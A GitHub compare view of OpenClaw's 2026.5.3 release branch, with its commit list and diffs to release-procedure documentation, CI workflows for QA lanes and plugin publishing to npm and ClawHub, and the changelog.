Compare commits

...

53 Commits

Author SHA1 Message Date
Peter Steinberger
2eae30e779 build(release): prepare 2026.5.3-1 core npm 2026-05-04 10:28:00 +01:00
Peter Steinberger
7847560771 fix: avoid plugin install scanner false positives 2026-05-04 10:27:08 +01:00
Vincent Koc
2e37208e02 chore(release): correct memory lancedb plugin version 2026-05-04 01:02:38 -07:00
Peter Steinberger
8919139bd7 ci(release): filter QA live lanes 2026-05-04 08:58:21 +01:00
Peter Steinberger
06d46f7cf6 chore(release): refresh base config schema 2026-05-04 08:21:21 +01:00
Peter Steinberger
9c373aed44 fix(web-fetch): add runtime context helper 2026-05-04 08:13:03 +01:00
Vincent Koc
0a59af2822 fix(auth): quiet codex oauth manual fallback
(cherry picked from commit 3c971255fa)
2026-05-04 08:11:32 +01:00
Dallin Romney
fc238e7a72 fix(plugins): warn on source-only installed packages instead of blocking config
(cherry picked from commit cdc00614cc)
2026-05-04 08:10:54 +01:00
Vincent Koc
6c678c2ffe fix(web-fetch): late-bind runtime config
(cherry picked from commit fbf9132b32)
2026-05-04 08:10:25 +01:00
Peter Steinberger
8e9f8e720d chore(release): prepare 2026.5.3 2026-05-04 08:00:48 +01:00
Peter Steinberger
dff35a8acb ci(release): parallelize ClawHub plugin publish 2026-05-04 07:57:23 +01:00
Peter Steinberger
504b294cdc ci(release): pin trusted ClawHub publish limits 2026-05-04 06:38:15 +01:00
Peter Steinberger
d9abbb36d5 ci(release): resolve plugin ClawHub refs explicitly 2026-05-04 06:36:12 +01:00
Peter Steinberger
f1ab733cce ci(release): pin clawhub publisher runtime fix 2026-05-04 06:07:36 +01:00
Peter Steinberger
eb8ba1d000 ci(release): preserve legacy clawhub package owner 2026-05-04 05:46:51 +01:00
Peter Steinberger
8243a8eb78 ci(release): retry clawhub publish rate limits 2026-05-04 05:28:37 +01:00
Peter Steinberger
0077e9cdab ci(release): throttle registry publish and verification 2026-05-04 05:18:54 +01:00
Peter Steinberger
c6c64e2acf fix(release): type tarball exclusion guard 2026-05-04 04:40:05 +01:00
Peter Steinberger
89c8948e23 fix(release): prepare beta 4 2026-05-04 04:34:40 +01:00
Peter Steinberger
aab2a64781 test(release): expose beta tag in plugin fixture registry 2026-05-04 02:29:34 +01:00
Vincent Koc
7bc9bdad7b fix(plugins): clean pinned externalized load paths 2026-05-04 02:29:14 +01:00
Vincent Koc
363b7fb260 fix(plugins): trust official externalized npm installs 2026-05-04 02:28:41 +01:00
Vincent Koc
6878c22de9 fix(plugins): update trusted prerelease installs 2026-05-04 01:34:35 +01:00
Vincent Koc
bd28223914 fix(plugins): filter unavailable optional tools 2026-05-04 01:34:35 +01:00
Peter Steinberger
788c896715 test: harden Codex binding provider normalization 2026-05-04 01:34:35 +01:00
Kelaw - Keshav's Agent
39c11560ee fix: resolve Codex native auth by profile provider 2026-05-04 01:34:35 +01:00
Kelaw - Keshav's Agent
e922bed9ce docs(changelog): note Codex binding auth fix 2026-05-04 01:34:35 +01:00
Kelaw - Keshav's Agent
e5f4cb3644 fix: select Codex OAuth profile for bound app-server turns 2026-05-04 01:34:35 +01:00
Kelaw - Keshav's Agent
b190fae70c fix: preserve Codex binding OAuth transport
(cherry picked from commit f45dc3168aea29030b80381dc9017e9ee7e82ba4)
2026-05-04 01:34:35 +01:00
Vincent Koc
df43768465 fix(openai): flatten realtime transcription session update 2026-05-04 01:34:35 +01:00
Vincent Koc
eadc3ee699 fix(realtime): label pre-ready transcription closes 2026-05-04 01:34:35 +01:00
Vincent Koc
d35303582a fix(openai): fail realtime voice pre-ready closes 2026-05-04 01:34:35 +01:00
Vincent Koc
6a1bcb1566 fix(openai): omit realtime transcription session type 2026-05-04 01:34:35 +01:00
Peter Steinberger
9f0a114dab fix: use prerelease tags for official plugin repair 2026-05-04 01:34:23 +01:00
Peter Steinberger
62adabf3ce docs: refresh plugin sdk baseline 2026-05-04 00:59:49 +01:00
Peter Steinberger
728cf41034 docs: refresh plugin sdk baseline 2026-05-04 00:57:06 +01:00
Peter Steinberger
22c211cb1b docs: refresh config baseline 2026-05-04 00:57:06 +01:00
Peter Steinberger
a389d455c1 test: pin google meet realtime platform 2026-05-04 00:57:06 +01:00
Peter Steinberger
e5a1fa4c3b fix: align official plugin repair versions 2026-05-04 00:57:06 +01:00
Peter Steinberger
50f581d97c fix: keep feishu sdk plugin-local 2026-05-04 00:57:05 +01:00
Peter Steinberger
6658cf33ed build: sync beta config schema 2026-05-04 00:57:05 +01:00
Peter Steinberger
130efb13ce ci: pin fixed clawhub package dry-run 2026-05-04 00:57:05 +01:00
Peter Steinberger
c6473d6461 fix: harden beta plugin release path 2026-05-04 00:57:05 +01:00
Peter Steinberger
cc8ae6ee12 docs(changelog): note beta plugin update channel fix 2026-05-04 00:57:05 +01:00
Peter Steinberger
54493bde15 fix(update): keep beta plugin updates on beta channel 2026-05-04 00:57:05 +01:00
Peter Steinberger
9c3919ccef chore(release): refresh beta 2 config schema 2026-05-04 00:57:05 +01:00
Peter Steinberger
d5254a7e43 fix(release): prepare 2026.5.3 beta 2 2026-05-04 00:57:05 +01:00
Peter Steinberger
6ffb3c3f3a chore(release): refresh beta plugin sdk baseline 2026-05-04 00:57:05 +01:00
Peter Steinberger
70be1cbcd8 docs(release): polish 2026.5.3 changelog 2026-05-04 00:57:05 +01:00
Peter Steinberger
c28b0081eb docs(release): use base changelog heading for beta 2026-05-04 00:56:34 +01:00
Peter Steinberger
c9a83707d5 chore(release): refresh beta plugin sdk baseline 2026-05-04 00:56:34 +01:00
Peter Steinberger
d7ce1aafad chore(release): refresh beta config schema baseline 2026-05-04 00:56:34 +01:00
Peter Steinberger
6f0175779e chore(release): prepare 2026.5.3 beta 1 2026-05-04 00:56:34 +01:00
93 changed files with 6625 additions and 582 deletions

View File

@@ -46,17 +46,22 @@ Use this skill for release and publish-time workflow. Keep ordinary development
recreate the tag and prerelease at the fixed commit so npm prerelease versions
stay contiguous. If a published beta needs a fix, commit the fix on the
release branch and increment to the next `-beta.N`.
- For a beta release train, run the fast local preflight first, publish the
beta to npm `beta`, then run the expensive published-package roster focused
on install/update/Docker/Parallels/NPM Telegram. If anything fails, fix it on
the release branch, commit/push/pull, increment beta number, and repeat. Run
the full expensive roster at least once before stable/latest promotion; for
later beta attempts, rerun only lanes whose evidence changed unless the fix
touches broad release, install/update, plugin, Docker, Parallels, or live QA
behavior. After each beta is published, scan current `main` once for critical
fixes that landed after the release branch cut and backport only important
low-risk fixes. Operators may authorize up to 4 autonomous beta attempts;
after 4 failed beta attempts, stop and report.
- For a beta release train, run the fast local preflight first, then publish all
beta artifacts for the same version: core `openclaw` npm to dist-tag `beta`,
all publishable `@openclaw/*` plugin npm packages to dist-tag `beta`, and all
publishable plugins to ClawHub. A beta is not considered live or complete
until core npm, plugin npm, and plugin ClawHub publishes are all done and
verified for the exact same `YYYY.M.D-beta.N` version. Then run the expensive
published-package roster focused on install/update/Docker/Parallels/NPM
Telegram. If anything fails, fix it on the release branch, commit/push/pull,
increment beta number, and repeat. Run the full expensive roster at least once
before stable/latest promotion; for later beta attempts, rerun only lanes
whose evidence changed unless the fix touches broad release, install/update,
plugin, Docker, Parallels, or live QA behavior. After each complete beta is
published, scan current `main` once for critical fixes that landed after the
release branch cut and backport only important low-risk fixes. Operators may
authorize up to 4 autonomous beta attempts; after 4 failed beta attempts, stop
and report.
- Use `/changelog` before version/tag preparation so the top changelog section
is deduped and ordered by user impact.
- Do not create beta-specific `CHANGELOG.md` headings. Beta releases use the
@@ -75,6 +80,8 @@ Use this skill for release and publish-time workflow. Keep ordinary development
- Prefer `-beta.N`; do not mint new `-1` or `-2` beta suffixes
- `dev`: moving head on `main`
- When using a beta Git tag, publish npm with the matching beta version suffix so the plain version is not consumed or blocked
- When using a beta Git tag, publish all publishable plugins to npm and ClawHub
with that same beta version. Do not stop after the core `openclaw` package.
## Handle versions and release files consistently
@@ -490,6 +497,11 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
does not support trusted publishing for `npm dist-tag add`.
- `@openclaw/*` plugin publishes use a separate maintainer-only flow.
- Only publish plugins that already exist on npm; bundled disk-tree-only plugins stay unpublished.
- Beta releases must run the plugin npm and plugin ClawHub flows as part of the
release, not as optional follow-up work. If plugin npm or ClawHub publish
fails after core npm is live, fix forward by incrementing to the next beta
version and publish core plus plugins again; never call the prior beta done
while plugin registries still point at an older beta.
## Fallback local mac publish
@@ -576,7 +588,22 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
21. Wait for `npm-release` approval from `@openclaw/openclaw-release-managers`.
22. Run postpublish verification:
`node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>`.
23. Run the post-published beta verification roster. First scan current `main`
23. For beta releases, immediately publish all publishable plugins for the same
version:
- Dispatch `.github/workflows/plugin-npm-release.yml` from the release branch
for all publishable plugins and npm dist-tag `beta`.
- Dispatch `.github/workflows/plugin-clawhub-release.yml` from the release
branch for all publishable plugins.
- If either workflow reports failure after a publish step, verify npm and
ClawHub directly before deciding whether it is a real publish failure or a
registry-propagation/postpublish-check failure.
24. Before calling a beta live, verify registry state directly:
- `openclaw` npm `dist-tags.beta` points at `<beta-version>`.
- every publishable `@openclaw/*` plugin npm package has `<beta-version>`
and `dist-tags.beta` points at it.
- every publishable ClawHub plugin has `<beta-version>`.
If any plugin registry still points at an older beta, the beta is incomplete.
25. Run the post-published beta verification roster. First scan current `main`
for critical fixes that landed after the release branch cut; backport only
important low-risk fixes before starting expensive lanes, or increment to
the next beta if the fix must change the already-published package. If any
@@ -590,11 +617,11 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
If a pre-npm lane fails before any tag/package leaves the machine, fix and
rerun the same intended beta attempt. Repeat up to the operator's
authorized beta-attempt limit, normally 4.
24. Announce the beta/stable release on Discord best-effort using Peter's bot
26. Announce the beta/stable release on Discord best-effort using Peter's bot
token from `.profile`.
25. If the operator requested beta only, stop after beta verification and the
27. If the operator requested beta only, stop after beta verification and the
announcement.
26. If the stable release was published to `beta`, use the light stable
28. If the stable release was published to `beta`, use the light stable
promotion roster when the matching beta already carried the full confidence
pass: published npm postpublish verify, Docker install/update smoke,
macOS-only Parallels install/update smoke, and required QA signal.
@@ -602,24 +629,24 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
`openclaw/releases-private/.github/workflows/openclaw-npm-dist-tags.yml`
workflow to promote that stable version from `beta` to `latest`, then
verify `latest` now points at that version.
27. If the stable release was published directly to `latest` and `beta` should
29. If the stable release was published directly to `latest` and `beta` should
follow it, start that same private dist-tag workflow to point `beta` at the
stable version, then verify both `latest` and `beta` point at that version.
28. For stable releases, start
30. For stable releases, start
`openclaw/releases-private/.github/workflows/openclaw-macos-publish.yml`
for the real publish with the successful private mac `preflight_run_id` and
wait for success.
29. Verify the successful real private mac run uploaded the `.zip`, `.dmg`,
31. Verify the successful real private mac run uploaded the `.zip`, `.dmg`,
and `.dSYM.zip` artifacts to the existing GitHub release in
`openclaw/openclaw`.
30. For stable releases, download `macos-appcast-<tag>` from the successful
32. For stable releases, download `macos-appcast-<tag>` from the successful
private mac run, update `appcast.xml` on `main`, and verify the feed. Merge
or cherry-pick release branch changes back to `main` after stable succeeds.
31. For beta releases, publish the mac assets only when intentionally requested;
33. For beta releases, publish the mac assets only when intentionally requested;
expect no shared production
`appcast.xml` artifact and do not update the shared production feed unless a
separate beta feed exists.
32. After publish, verify npm and the attached release artifacts.
34. After publish, verify npm and the attached release artifacts.
## GHSA advisory work

View File

@@ -54,7 +54,7 @@ on:
- qa-live
- npm-telegram
live_suite_filter:
description: Optional exact live suite id for focused live/E2E reruns; blank runs all selected live suites
description: Optional exact live/E2E suite id, or comma-separated QA live lanes such as qa-live-matrix,qa-live-telegram; blank runs all selected live suites
required: false
default: ""
type: string

View File

@@ -255,6 +255,24 @@ jobs:
- name: Build Mantis harness
run: pnpm build
- name: Install Crabbox CLI
env:
GH_TOKEN: ${{ github.token }}
shell: bash
run: |
set -euo pipefail
install_dir="${RUNNER_TEMP}/crabbox"
mkdir -p "$install_dir" "$HOME/.local/bin"
gh release download \
--repo openclaw/crabbox \
--pattern 'crabbox_*_linux_amd64.tar.gz' \
--dir "$install_dir" \
--clobber
tar -xzf "$install_dir"/crabbox_*_linux_amd64.tar.gz -C "$install_dir"
install -m 0755 "$install_dir/crabbox" "$HOME/.local/bin/crabbox"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
"$HOME/.local/bin/crabbox" --version
- name: Prepare baseline and candidate worktrees
shell: bash
env:
@@ -285,6 +303,10 @@ jobs:
OPENCLAW_QA_CONVEX_SECRET_CI: ${{ secrets.OPENCLAW_QA_CONVEX_SECRET_CI }}
OPENCLAW_QA_REDACT_PUBLIC_METADATA: "1"
OPENCLAW_QA_DISCORD_CAPTURE_CONTENT: "1"
CRABBOX_COORDINATOR: ${{ secrets.CRABBOX_COORDINATOR }}
CRABBOX_COORDINATOR_TOKEN: ${{ secrets.CRABBOX_COORDINATOR_TOKEN }}
CRABBOX_ACCESS_CLIENT_ID: ${{ secrets.CRABBOX_ACCESS_CLIENT_ID }}
CRABBOX_ACCESS_CLIENT_SECRET: ${{ secrets.CRABBOX_ACCESS_CLIENT_SECRET }}
run: |
set -euo pipefail
@@ -299,6 +321,7 @@ jobs:
require_var OPENAI_API_KEY
require_var OPENCLAW_QA_CONVEX_SITE_URL
require_var OPENCLAW_QA_CONVEX_SECRET_CI
require_var CRABBOX_COORDINATOR_TOKEN
root=".artifacts/qa-e2e/mantis/discord-status-reactions"
worktree_root=".artifacts/qa-e2e/mantis/discord-status-reactions-worktrees"
@@ -328,6 +351,55 @@ jobs:
run_lane baseline
run_lane candidate
desktop_lease_id=""
warmup_output="$(
crabbox warmup \
--provider hetzner \
--desktop \
--browser \
--class standard \
--idle-timeout 30m \
--ttl 90m
)"
printf '%s\n' "$warmup_output" | tee "$root/crabbox-desktop-warmup.log"
desktop_lease_id="$(printf '%s\n' "$warmup_output" | grep -Eo 'cbx_[a-f0-9]+' | head -n 1 || true)"
if [[ ! "$desktop_lease_id" =~ ^cbx_[a-f0-9]+$ ]]; then
echo "Crabbox desktop warmup did not return a lease id." >&2
exit 1
fi
cleanup_desktop_lease() {
if [[ -n "$desktop_lease_id" ]]; then
crabbox stop --provider hetzner "$desktop_lease_id" || true
fi
}
trap cleanup_desktop_lease EXIT
capture_desktop_lane() {
local lane="$1"
local html_file="$root/$lane/discord-status-reactions-tool-only-timeline.html"
local desktop_dir="$root/$lane/desktop-browser"
if [[ ! -f "$html_file" ]]; then
echo "Missing desktop source HTML for ${lane}: ${html_file}" >&2
exit 1
fi
local args=(
openclaw qa mantis desktop-browser-smoke
--html-file "$html_file"
--output-dir "$desktop_dir"
--provider hetzner
--class standard
--idle-timeout 30m
--ttl 90m
--lease-id "$desktop_lease_id"
)
pnpm "${args[@]}"
cp "$desktop_dir/desktop-browser-smoke.png" "$root/$lane/discord-status-reactions-tool-only-desktop.png"
}
capture_desktop_lane baseline
capture_desktop_lane candidate
baseline_status="$(jq -r '.scenarios[0].status' "$root/baseline/discord-qa-summary.json")"
candidate_status="$(jq -r '.scenarios[0].status' "$root/candidate/discord-qa-summary.json")"
@@ -351,6 +423,8 @@ jobs:
echo "- Candidate status: \`${candidate_status}\`"
echo "- Baseline screenshot: \`baseline/discord-status-reactions-tool-only-timeline.png\`"
echo "- Candidate screenshot: \`candidate/discord-status-reactions-tool-only-timeline.png\`"
echo "- Baseline desktop screenshot: \`baseline/discord-status-reactions-tool-only-desktop.png\`"
echo "- Candidate desktop screenshot: \`candidate/discord-status-reactions-tool-only-desktop.png\`"
} > "$root/mantis-report.md"
cat "$root/mantis-report.md" >> "$GITHUB_STEP_SUMMARY"
@@ -409,7 +483,9 @@ jobs:
for required in \
"$root/comparison.json" \
"$root/baseline/discord-status-reactions-tool-only-timeline.png" \
"$root/candidate/discord-status-reactions-tool-only-timeline.png"
"$root/candidate/discord-status-reactions-tool-only-timeline.png" \
"$root/baseline/discord-status-reactions-tool-only-desktop.png" \
"$root/candidate/discord-status-reactions-tool-only-desktop.png"
do
if [[ ! -f "$required" ]]; then
echo "Missing required QA evidence file: $required" >&2
@@ -435,6 +511,8 @@ jobs:
mkdir -p "$artifacts_worktree/$artifact_root"
cp "$root/baseline/discord-status-reactions-tool-only-timeline.png" "$artifacts_worktree/$artifact_root/baseline.png"
cp "$root/candidate/discord-status-reactions-tool-only-timeline.png" "$artifacts_worktree/$artifact_root/candidate.png"
cp "$root/baseline/discord-status-reactions-tool-only-desktop.png" "$artifacts_worktree/$artifact_root/baseline-desktop.png"
cp "$root/candidate/discord-status-reactions-tool-only-desktop.png" "$artifacts_worktree/$artifact_root/candidate-desktop.png"
cp "$root/comparison.json" "$artifacts_worktree/$artifact_root/comparison.json"
cp "$root/mantis-report.md" "$artifacts_worktree/$artifact_root/mantis-report.md"
@@ -470,6 +548,10 @@ jobs:
| --- | --- |
| <img src="${raw_base}/baseline.png" width="420" alt="Baseline Discord status reaction timeline"> | <img src="${raw_base}/candidate.png" width="420" alt="Candidate Discord status reaction timeline"> |
| Baseline desktop/VNC browser | Candidate desktop/VNC browser |
| --- | --- |
| <img src="${raw_base}/baseline-desktop.png" width="420" alt="Baseline Mantis desktop browser screenshot"> | <img src="${raw_base}/candidate-desktop.png" width="420" alt="Candidate Mantis desktop browser screenshot"> |
Raw QA files: https://github.com/${GITHUB_REPOSITORY}/tree/qa-artifacts/${artifact_root}
EOF

View File

@@ -54,7 +54,7 @@ on:
- qa-parity
- qa-live
live_suite_filter:
description: Optional exact live suite id for focused live/E2E reruns; blank runs all selected live suites
description: Optional exact live/E2E suite id, or comma-separated QA live lanes such as qa-live-matrix,qa-live-telegram; blank runs all selected live suites
required: false
default: ""
type: string
@@ -88,6 +88,9 @@ jobs:
release_profile: ${{ steps.inputs.outputs.release_profile }}
rerun_group: ${{ steps.inputs.outputs.rerun_group }}
live_suite_filter: ${{ steps.inputs.outputs.live_suite_filter }}
qa_live_matrix_enabled: ${{ steps.inputs.outputs.qa_live_matrix_enabled }}
qa_live_telegram_enabled: ${{ steps.inputs.outputs.qa_live_telegram_enabled }}
qa_live_slack_enabled: ${{ steps.inputs.outputs.qa_live_slack_enabled }}
package_acceptance_package_spec: ${{ steps.inputs.outputs.package_acceptance_package_spec }}
steps:
- name: Require main or release workflow ref for release checks
@@ -208,6 +211,57 @@ jobs:
RELEASE_PACKAGE_ACCEPTANCE_PACKAGE_SPEC_INPUT: ${{ inputs.package_acceptance_package_spec }}
run: |
set -euo pipefail
qa_live_matrix_enabled=true
qa_live_telegram_enabled=true
qa_live_slack_enabled=true
filter="$(printf '%s' "$RELEASE_LIVE_SUITE_FILTER_INPUT" | tr '[:upper:]' '[:lower:]')"
if [[ -n "${filter// }" ]]; then
qa_filter_seen=false
matrix_selected=false
telegram_selected=false
slack_selected=false
IFS=', ' read -r -a filter_tokens <<< "$filter"
for token in "${filter_tokens[@]}"; do
token="${token//$'\t'/}"
token="${token//$'\r'/}"
token="${token//$'\n'/}"
[[ -z "$token" ]] && continue
case "$token" in
qa-live|qa-live-all|qa-all)
qa_filter_seen=true
matrix_selected=true
telegram_selected=true
slack_selected=true
;;
qa-live-non-slack|qa-non-slack|non-slack|no-slack|without-slack)
qa_filter_seen=true
matrix_selected=true
telegram_selected=true
;;
qa-live-matrix|qa-matrix|matrix)
qa_filter_seen=true
matrix_selected=true
;;
qa-live-telegram|qa-telegram|telegram)
qa_filter_seen=true
telegram_selected=true
;;
qa-live-slack|qa-slack|slack)
qa_filter_seen=true
slack_selected=true
;;
esac
done
if [[ "$qa_filter_seen" == "true" ]]; then
qa_live_matrix_enabled="$matrix_selected"
qa_live_telegram_enabled="$telegram_selected"
qa_live_slack_enabled="$slack_selected"
fi
fi
{
printf 'ref=%s\n' "$RELEASE_REF_INPUT"
printf 'provider=%s\n' "$RELEASE_PROVIDER_INPUT"
@@ -215,6 +269,9 @@ jobs:
printf 'release_profile=%s\n' "$RELEASE_PROFILE_INPUT"
printf 'rerun_group=%s\n' "$RELEASE_RERUN_GROUP_INPUT"
printf 'live_suite_filter=%s\n' "$RELEASE_LIVE_SUITE_FILTER_INPUT"
printf 'qa_live_matrix_enabled=%s\n' "$qa_live_matrix_enabled"
printf 'qa_live_telegram_enabled=%s\n' "$qa_live_telegram_enabled"
printf 'qa_live_slack_enabled=%s\n' "$qa_live_slack_enabled"
printf 'package_acceptance_package_spec=%s\n' "$RELEASE_PACKAGE_ACCEPTANCE_PACKAGE_SPEC_INPUT"
} >> "$GITHUB_OUTPUT"
@@ -243,6 +300,7 @@ jobs:
if [[ -n "${RELEASE_LIVE_SUITE_FILTER// }" ]]; then
echo "- Live suite filter: \`${RELEASE_LIVE_SUITE_FILTER}\`"
fi
echo "- QA live lanes: Matrix \`${{ steps.inputs.outputs.qa_live_matrix_enabled }}\`, Telegram \`${{ steps.inputs.outputs.qa_live_telegram_enabled }}\`, Slack \`${{ steps.inputs.outputs.qa_live_slack_enabled }}\`"
if [[ -n "${PACKAGE_ACCEPTANCE_PACKAGE_SPEC// }" ]]; then
echo "- Package Acceptance package spec: \`${PACKAGE_ACCEPTANCE_PACKAGE_SPEC}\`"
else
@@ -655,7 +713,7 @@ jobs:
qa_live_matrix_release_checks:
name: Run QA Lab live Matrix lane
needs: [resolve_target]
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group)
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group) && needs.resolve_target.outputs.qa_live_matrix_enabled == 'true'
runs-on: blacksmith-8vcpu-ubuntu-2404
timeout-minutes: 60
permissions:
@@ -732,7 +790,7 @@ jobs:
qa_live_telegram_release_checks:
name: Run QA Lab live Telegram lane
needs: [resolve_target]
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group)
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group) && needs.resolve_target.outputs.qa_live_telegram_enabled == 'true'
runs-on: blacksmith-8vcpu-ubuntu-2404
timeout-minutes: 60
permissions:
@@ -825,7 +883,7 @@ jobs:
qa_live_slack_release_checks:
name: Run QA Lab live Slack lane
needs: [resolve_target]
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group)
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group) && needs.resolve_target.outputs.qa_live_slack_enabled == 'true'
runs-on: blacksmith-8vcpu-ubuntu-2404
timeout-minutes: 60
permissions:

View File

@@ -32,7 +32,7 @@ env:
CLAWHUB_REGISTRY: "https://clawhub.ai"
CLAWHUB_REPOSITORY: "openclaw/clawhub"
# Pinned to a reviewed ClawHub commit so release behavior stays reproducible.
CLAWHUB_REF: "199e6a0cdf32471702e0503e9899e8d24f06a527"
CLAWHUB_REF: "facf20ceb6cc459e2872d941e71335a784bbc55c"
jobs:
preview_plugins_clawhub:
@@ -50,7 +50,7 @@ jobs:
uses: actions/checkout@v6
with:
persist-credentials: false
ref: ${{ github.event_name == 'workflow_dispatch' && inputs.ref || github.sha }}
ref: ${{ github.ref }}
fetch-depth: 0
- name: Setup Node environment
@@ -62,14 +62,29 @@ jobs:
- name: Resolve checked-out ref
id: ref
run: echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT"
- name: Validate ref is on main or a release branch
env:
TARGET_REF: ${{ github.event_name == 'workflow_dispatch' && inputs.ref || '' }}
run: |
set -euo pipefail
git fetch --no-tags origin \
+refs/heads/main:refs/remotes/origin/main \
'+refs/heads/release/*:refs/remotes/origin/release/*'
if [[ -n "${TARGET_REF}" ]]; then
if git rev-parse --verify --quiet "${TARGET_REF}^{commit}" >/dev/null; then
target_sha="$(git rev-parse "${TARGET_REF}^{commit}")"
elif git rev-parse --verify --quiet "origin/${TARGET_REF}^{commit}" >/dev/null; then
target_sha="$(git rev-parse "origin/${TARGET_REF}^{commit}")"
else
echo "Unable to resolve requested publish ref: ${TARGET_REF}" >&2
exit 1
fi
git checkout --detach "${target_sha}"
fi
echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT"
- name: Validate ref is on main or a release branch
run: |
set -euo pipefail
if git merge-base --is-ancestor HEAD origin/main; then
exit 0
fi
@@ -153,6 +168,12 @@ jobs:
echo "::error::One or more selected plugin versions already exist on ClawHub. Bump the version before running a real publish."
exit 1
- name: Verify OpenClaw ClawHub package ownership
if: steps.plan.outputs.has_candidates == 'true'
env:
CLAWHUB_REGISTRY: ${{ env.CLAWHUB_REGISTRY }}
run: node --import tsx scripts/plugin-clawhub-owner-preflight.ts .local/plugin-clawhub-release-plan.json
preview_plugin_pack:
needs: preview_plugins_clawhub
if: needs.preview_plugins_clawhub.outputs.has_candidates == 'true'
@@ -161,7 +182,7 @@ jobs:
contents: read
strategy:
fail-fast: false
max-parallel: 1
max-parallel: 6
matrix:
plugin: ${{ fromJson(needs.preview_plugins_clawhub.outputs.matrix) }}
steps:
@@ -169,8 +190,18 @@ jobs:
uses: actions/checkout@v6
with:
persist-credentials: false
ref: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
fetch-depth: 1
ref: ${{ github.ref }}
fetch-depth: 0
- name: Checkout target revision
env:
TARGET_SHA: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
run: |
set -euo pipefail
git fetch --no-tags origin \
+refs/heads/main:refs/remotes/origin/main \
'+refs/heads/release/*:refs/remotes/origin/release/*'
git checkout --detach "${TARGET_SHA}"
- name: Setup Node environment
uses: ./.github/actions/setup-node-env
@@ -185,9 +216,15 @@ jobs:
with:
persist-credentials: false
repository: ${{ env.CLAWHUB_REPOSITORY }}
ref: ${{ env.CLAWHUB_REF }}
ref: main
path: clawhub-source
fetch-depth: 1
fetch-depth: 0
- name: Checkout pinned ClawHub CLI revision
working-directory: clawhub-source
env:
CLAWHUB_REF: ${{ env.CLAWHUB_REF }}
run: git checkout --detach "${CLAWHUB_REF}"
- name: Install ClawHub CLI dependencies
working-directory: clawhub-source
@@ -203,6 +240,9 @@ jobs:
chmod +x "$RUNNER_TEMP/clawhub"
echo "$RUNNER_TEMP" >> "$GITHUB_PATH"
- name: Verify package-local runtime build
run: pnpm release:plugins:npm:runtime:check --package "${{ matrix.plugin.packageDir }}"
- name: Preview publish command
env:
CLAWHUB_REGISTRY: ${{ env.CLAWHUB_REGISTRY }}
@@ -223,6 +263,7 @@ jobs:
id-token: write
strategy:
fail-fast: false
max-parallel: 6
matrix:
plugin: ${{ fromJson(needs.preview_plugins_clawhub.outputs.matrix) }}
steps:
@@ -230,8 +271,18 @@ jobs:
uses: actions/checkout@v6
with:
persist-credentials: false
ref: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
fetch-depth: 1
ref: ${{ github.ref }}
fetch-depth: 0
- name: Checkout target revision
env:
TARGET_SHA: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
run: |
set -euo pipefail
git fetch --no-tags origin \
+refs/heads/main:refs/remotes/origin/main \
'+refs/heads/release/*:refs/remotes/origin/release/*'
git checkout --detach "${TARGET_SHA}"
- name: Setup Node environment
uses: ./.github/actions/setup-node-env
@@ -246,9 +297,15 @@ jobs:
with:
persist-credentials: false
repository: ${{ env.CLAWHUB_REPOSITORY }}
ref: ${{ env.CLAWHUB_REF }}
ref: main
path: clawhub-source
fetch-depth: 1
fetch-depth: 0
- name: Checkout pinned ClawHub CLI revision
working-directory: clawhub-source
env:
CLAWHUB_REF: ${{ env.CLAWHUB_REF }}
run: git checkout --detach "${CLAWHUB_REF}"
- name: Install ClawHub CLI dependencies
working-directory: clawhub-source
@@ -304,7 +361,19 @@ jobs:
encoded_name="$(node -e 'console.log(encodeURIComponent(process.env.PACKAGE_NAME ?? ""))')"
encoded_version="$(node -e 'console.log(encodeURIComponent(process.env.PACKAGE_VERSION ?? ""))')"
url="${CLAWHUB_REGISTRY%/}/api/v1/packages/${encoded_name}/versions/${encoded_version}"
status="$(curl --silent --show-error --output /dev/null --write-out '%{http_code}' "${url}")"
status=""
for attempt in $(seq 1 8); do
status="$(curl --silent --show-error --output /dev/null --write-out '%{http_code}' "${url}")"
if [[ "${status}" == "404" || "${status}" =~ ^2 ]]; then
break
fi
if [[ "${status}" == "429" || "${status}" =~ ^5 ]]; then
echo "ClawHub availability check returned ${status} for ${PACKAGE_NAME}@${PACKAGE_VERSION}; retrying (${attempt}/8)."
sleep 60
continue
fi
break
done
if [[ "${status}" =~ ^2 ]]; then
echo "${PACKAGE_NAME}@${PACKAGE_VERSION} is already published on ClawHub."
exit 1

View File

@@ -176,6 +176,9 @@ jobs:
pnpm-version: ${{ env.PNPM_VERSION }}
install-bun: "false"
- name: Verify package-local runtime build
run: pnpm release:plugins:npm:runtime:check --package "${{ matrix.plugin.packageDir }}"
- name: Preview publish command
run: bash scripts/plugin-npm-publish.sh --dry-run "${{ matrix.plugin.packageDir }}"

View File

@@ -2,11 +2,16 @@
Docs: https://docs.openclaw.ai
## Unreleased
## 2026.5.3
### Highlights
- Plugins/file-transfer: add bundled file-transfer plugin with `file_fetch`, `dir_list`, `dir_fetch`, and `file_write` agent tools for binary file ops on paired nodes; default-deny per-node path policy under `plugins.entries.file-transfer.config.nodes` with operator approval, symlink traversal refused by default (opt-in `followSymlinks`), and a 16 MB byte ceiling per round-trip. (#74742) Thanks @omarshahine.
- Plugins/install: harden official plugin install, uninstall, update, onboarding, ClawHub fallback, npm dependency-state reporting, and beta-channel update paths so externalized plugins behave like first-class package installs.
- Gateway/performance: trim startup and Control UI hot paths by lazy-loading plugin/runtime discovery, cron, schema, shutdown, sessions, and model metadata work only when needed.
